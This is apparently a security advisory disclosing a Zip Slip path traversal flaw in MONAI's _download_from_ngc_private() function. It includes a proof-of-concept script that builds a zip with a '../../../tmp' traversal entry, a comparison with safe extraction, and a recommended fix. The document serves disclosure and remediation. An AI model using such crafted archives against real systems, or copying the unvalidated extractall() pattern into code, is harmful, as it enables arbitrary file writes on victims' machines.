Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI’s _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details****Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293 zip_path = download_path / f"{filename}_v{version}.zip" with open(zip_path, “wb”) as f: f.write(response.content) logger.info(f"Downloading: {zip_path}.") if remove_prefix: filename = _remove_ngc_prefix(filename, prefix=remove_prefix) extract_path = download_path / f"{filename}" with zipfile.ZipFile(zip_path, “r”) as z: z.extractall(extract_path) # <-- No path validation logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to): “""Securely verify compressed package member paths to prevent path traversal attacks""” # … path validation logic …

if os.path.isabs(member\_path) or ".." in member\_path.split(os.sep):
    raise ValueError(f"Unsafe path detected in archive: {member\_path}")

\# Ensure path stays within extraction root
if os.path.commonpath(\[extract\_root, target\_real\]) != extract\_root:
    raise ValueError(f"Unsafe path: path traversal {member\_path}")

Comparison with Other Download Functions

Function

File

Uses Safe Extraction?

_download_from_github()

scripts.py:198

✅ Yes (via extractall() wrapper)

_download_from_monaihosting()

scripts.py:205

✅ Yes (via extractall() wrapper)

_download_from_bundle_info()

scripts.py:215

✅ Yes (via extractall() wrapper)

_download_from_ngc_private()

scripts.py:292

❌ No (direct z.extractall())

PoC****Step 1: Create a Malicious Zip File

#!/usr/bin/env python3 “""Create malicious zip with path traversal entries""” import zipfile import io

def create_malicious_zip(output_path="malicious_bundle.zip"): zip_buffer = io.BytesIO()

with zipfile.ZipFile(zip\_buffer, 'w', zipfile.ZIP\_DEFLATED) as zf:
    \# Normal bundle file
    zf.writestr(
        "monai\_test\_bundle/configs/metadata.json",
        '{"name": "test\_bundle", "version": "1.0.0"}'
    )
    
    \# Path traversal entry
    zf.writestr(
        "../../../tmp/escaped\_file.txt",
        "This file was written outside the extraction directory.\\n"
    )

with open(output\_path, 'wb') as f:
    f.write(zip\_buffer.getvalue())

print(f"Created: {output\_path}")
with zipfile.ZipFile(output\_path, 'r') as zf:
    print("Contents:")
    for name in zf.namelist():
        print(f"  - {name}")

if __name__ == "__main__": create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3 “""Compare vulnerable vs safe extraction""” import zipfile import tempfile import os

def vulnerable_extraction(zip_path, extract_path): “""Pattern used in monai/bundle/scripts.py:291-292""” os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, “r”) as z: z.extractall(extract_path) print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path): “""Pattern used in monai/apps/utils.py""” os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, “r”) as zf: for member in zf.infolist(): member_path = os.path.normpath(member.filename)

        \# Check for path traversal
        if os.path.isabs(member\_path) or ".." in member\_path.split(os.sep):
            print(f"\[SAFE\] BLOCKED: {member.filename}")
            continue
        
        print(f"\[SAFE\] Allowed: {member.filename}")

# Run demo print(“=” * 50) print(“VULNERABLE PATTERN (scripts.py:291-292)") print(“=” * 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerable_extraction(“malicious_bundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: rel_path = os.path.relpath(os.path.join(root, f), tmpdir) print(f” Extracted: {rel_path}”)

print() print(“=” * 50) print("SAFE PATTERN (apps/utils.py)") print(“=” * 50) with tempfile.TemporaryDirectory() as tmpdir: safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact****Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI’s existing safe extraction:

monai/bundle/scripts.py

• from monai.apps.utils import _extract_zip

def _download_from_ngc_private(…): # … existing code …

extract\_path = download\_path / f"{filename}"

- with zipfile.ZipFile(zip_path, “r”) as z: - z.extractall(extract_path) - logger.info(f"Writing into directory: {extract_path}.")

• _extract_zip(zip_path, extract_path)
• logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

References

• GHSA-9rg3-9pvr-6p27
• Project-MONAI/MONAI@4014c84